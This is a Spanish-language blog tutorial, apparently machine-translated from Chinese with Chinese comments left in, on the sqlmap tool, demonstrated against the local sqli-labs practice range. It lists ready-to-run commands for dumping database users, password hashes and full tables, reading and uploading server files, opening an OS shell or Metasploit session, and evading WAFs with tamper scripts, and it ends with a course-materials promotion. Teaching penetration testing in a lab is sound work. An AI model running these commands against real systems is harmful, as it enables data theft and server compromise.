Uso de la herramienta SqlMap (súper detallada: ¡una lectura obligada para el personal de seguridad de red (hackers de sombrero blanco)!)

[Uso de herramientas] SqlMap
    • MapaSql
      • Comandos comunes
      • Detectar si hay inyección en el sitio web de destino
      • Consultar usuarios de bases de datos.
      • Consultar contraseñas de bases de datos
      • Consultar el usuario actual de la base de datos.
      • Consultar si el usuario actual de la base de datos tiene derechos de administrador
      • Enumere los nombres de usuario del administrador de la base de datos
      • Consultar todas las bases de datos.
      • Consultar la base de datos actual.
      • Generar todas las tablas bajo el nombre de base de datos especificado
      • Genere todas las columnas de la tabla especificada con el nombre de datos especificado
      • Genere todos los datos en el campo especificado en la columna especificada de la base de datos especificada
      • -todas las series
    • Uso avanzado
      • Omitir WAF
      • -nivel/-riesgo
      • Encabezado de referencia Http falsificado
      • Ejecute la declaración SQL especificada
      • Ejecutar comandos del sistema operativo
      • Leer archivo del servidor
      • Subir archivos al servidor de base de datos

Este artículo utiliza ejemplos: campo de tiro sqli-labs

MapaSql

Una herramienta automatizada de inyección SQL cuya función principal es escanear, descubrir y explotar vulnerabilidades de inyección SQL en una URL determinada. Las bases de datos actualmente soportadas son MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase y SAP. MaxDB. Se utilizan cinco técnicas únicas de inyección SQL, a saber:

1. Inyección ciega basada en booleano, es decir, inyección que puede determinar si la condición es verdadera o falsa en función de la página devuelta.
2. Inyección ciega basada en el tiempo, es decir, no se puede juzgar ninguna información en función del contenido de retorno de la página, y se utilizan declaraciones condicionales para verificar si se ejecuta la declaración de retraso de tiempo (es decir, si aumenta el tiempo de retorno de la página).
3. Basado en la inyección de errores, es decir, la página devolverá información de error o el resultado de la declaración inyectada se devolverá directamente a la página.
4. Inyección de consulta de unión, puede utilizar la inyección en el caso de unión.
5. Inyección de consultas en montón, que puede ejecutar la inyección de varias declaraciones al mismo tiempo.

Comandos comunes
sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
 
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, sqli-labste, Sybase, Vertica, eXtremeDB
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)
  
sqlmap -d "mysql://root:[email protected]:3306/mysql" --os-shell   #知道网站的账号密码直接连接
 
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
 
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

Detectar si hay inyección en el sitio web de destino

1. Sitios que no requieren inicio de sesión

sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"  #探测该url是否存在漏洞

Podemos ver que sqlmap interactúa con nosotros y debemos elegir diferentes métodos de escaneo de acuerdo con la información sobre herramientas.
Insertar descripción de la imagen aquí

sqlmap nos dirá el tipo de inyección, el lenguaje y la versión del script, el tipo y la versión de la base de datos, el middleware y otra información relacionada que existe en el sitio web de destino.
Insertar descripción de la imagen aquí
Al final del análisis, se nos informará la ruta de almacenamiento de los datos de detección.
2. El sitio en el que debemos iniciar sesión.

sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

3. La URL que requiere que Post envíe datos.

sqlmap -u "http://127.0.0.1/sqli-labs/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

Consultar usuarios de bases de datos.
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users

Insertar descripción de la imagen aquí

Consultar contraseñas de bases de datos
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords

Cuando ejecutamos la contraseña, habrá dos interacciones entre sqlmap y nosotros.
La primera: nos preguntará si guardar el valor hash Y/N.
La segunda: nos preguntará si deseamos explotar el valor hash Y/N/Q.
La tercera: ¿Preguntarnos si queremos utilizar un sufijo de contraseña universal? S/N
Insertar descripción de la imagen aquí

Consultar el usuario actual de la base de datos.
sqlmap -u "http://127.0.0.1/sqli-lasb/Less-1/?id=1" --current-user  #查看数据库当前的用户

Insertar descripción de la imagen aquí

Consultar si el usuario actual de la base de datos tiene derechos de administrador
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限

Insertar descripción de la imagen aquí

Enumere los nombres de usuario del administrador de la base de datos
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles

Insertar descripción de la imagen aquí

Consultar todas las bases de datos.
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs

Insertar descripción de la imagen aquí

Consultar la base de datos actual.
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db

Insertar descripción de la imagen aquí

Generar todas las tablas bajo el nombre de base de datos especificado
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables

Insertar descripción de la imagen aquí

Genere todas las columnas de la tabla especificada con el nombre de datos especificado
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns

Insertar descripción de la imagen aquí

Genere todos los datos en el campo especificado en la columna especificada de la base de datos especificada
sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C password --dump

Insertar descripción de la imagen aquí

-todas las series

1. Genere todos los datos en la base de datos.

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dump-all

El tiempo es demasiado largo. Tome una captura de pantalla del proceso de escaneo:
Insertar descripción de la imagen aquí

2. Genere todos los datos en la base de datos especificada.

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --dump-all

El tiempo es demasiado largo. Tome una captura de pantalla del proceso de escaneo:
Insertar descripción de la imagen aquí

3. Genere todos los datos en la tabla especificada de la base de datos especificada.

sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T user --dump-all

El tiempo es demasiado largo. Tome una captura de pantalla del proceso de escaneo:
Insertar descripción de la imagen aquí

Uso avanzado

Omitir WAF

Principio: simplemente use –tamper para modificar los parámetros para omitir WAF. La mayoría de los scripts proporcionados oficialmente usan módulos regulares para reemplazar la codificación de caracteres de la carga útil del ataque para omitir las reglas de detección de WAF.

Instrucciones de uso común:

--identify-waf   检测是否有WAF
 
#使用参数进行绕过
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入


SQLmap ha preparado un script para que omitamos waf. El uso en la carpeta de manipulación de la carpeta sqlmap es el siguiente:

使用方法--tamper xxx.py
apostrophemask.py用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF

-nivel/-riesgo

Sqlmap tiene un total de 5 niveles de detección, el valor predeterminado es 1. Cuanto mayor sea el nivel, más cargas útiles se utilizarán durante la detección. Entre ellos, el nivel 5 tiene la mayor cantidad de cargas útiles y automáticamente descifrará e inyectará encabezados como cookies y XFF. Por supuesto, cuanto mayor sea el nivel, más lento será el tiempo de detección. Este parámetro afectará el punto de inyección de la prueba. Se probarán los datos GET y POST. La cookie HTTP se probará cuando el nivel sea 2. El encabezado HTTP User-Agent/Referer se probará cuando el nivel sea 3. Cuando no esté seguro de qué parámetro es el punto de inyección, para garantizar la precisión, se recomienda establecer el nivel en 5.

Sqlmap tiene un total de 3 niveles de peligro, lo que significa cuántos niveles de peligro crees que tiene este sitio web. Tiene el mismo significado que el nivel de detección, en caso de incertidumbre se recomienda fijarlo en el nivel 3, –riesgo=3.

La herramienta utiliza el directorio de carga útil
sqlmap\data\xml\payloads (Windows)

Encabezado de referencia Http falsificado

SQLmap puede falsificar el referente en el encabezado de la solicitud http en la solicitud. Cuando -level es mayor o igual a 3, se realizará la inyección del referente.
Por ejemplo: referente http://www.topreverse.cn

Ejecute la declaración SQL especificada
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --sql-shell  #执行指定的sql语句

Insertar descripción de la imagen aquí

Ejecutar comandos del sistema operativo

Se puede ejecutar si y sólo si la base de datos es mysql, postgresql o sql server.
Cuando la base de datos es mysql, se deben cumplir tres condiciones:
1. Permiso de raíz
2. Ya se conoce la ruta absoluta del sitio de destino
3. El valor del parámetro de Secure_file_priv es espacio-tiempo (es NULL antes de la modificación)

sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell  #执行--os-shell命令

Insertar descripción de la imagen aquíDurante el proceso, sqlmap pasará dos archivos a la ruta especificada, tmpblwkd.php (archivo troyano) y tmpueqch.php. Ingrese q y x al salir para eliminar el archivo entrante.

Leer archivo del servidor

Requisito previo: La base de datos es: mysql, postgresql y sql server

sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --file-read "c:/topreverse.txt" #读取目标服务器C盘下的test.txt文件

Subir archivos al servidor de base de datos

Requisito previo: la base de datos es mysql, postgre sql, sql server

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-2/?id=1 --file-write C:\Users\system32\Desktop\text.php --file-dest "C:\phpStudy\PHPTutorial\WWW\test.php"  #将本地的text.php文件上传到目标服务器test.php

Después de cargar sqlmap, se verificará y se leerá el tamaño del archivo para compararlo.

Lo anterior es parte de lo que compartí sobre sqlmap. Espero que les sea útil. Finalmente, creo que todos los amigos aquí están interesados ​​en la industria de la seguridad de redes. Actualmente, el país apoya vigorosamente esta industria y todavía hay una enorme brecha de talento. , si eres un novato que está en la etapa de entrada a la industria pero aún no sabes qué contenido necesitas dominar, como hermano mayor en la industria, también he preparado una ruta de aprendizaje completa para ti. Sigue esta ruta para aprender desde lo básico hasta lo avanzado ¡Encuentra una pasantía es suficiente!
Insertar descripción de la imagen aquí

Finalmente, también he recopilado los materiales en vídeo que acompañan la ruta de aprendizaje.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

He subido la información anterior al sitio web oficial de CSDN. Si la necesita, puede dejarme un mensaje. Le responderé después de verla. Si no puede esperar mi respuesta, también puede escanear el QR. código a continuación con vx (recuerde anotar el propósito de su visita ~), si tiene problemas al escanear el código QR, también puede hacer clic en el enlace para recibir [282G] un completo aprendizaje desde cero básico hasta avanzado en seguridad de red y tecnología de piratería, ¡compártela gratis!
Insertar descripción de la imagen aquí

Lo anterior es el contenido completo de este artículo, ¡espero que puedas obtener algo!

Supongo que te gusta

Origin blog.csdn.net/text2207/article/details/133377906
Recomendado
Clasificación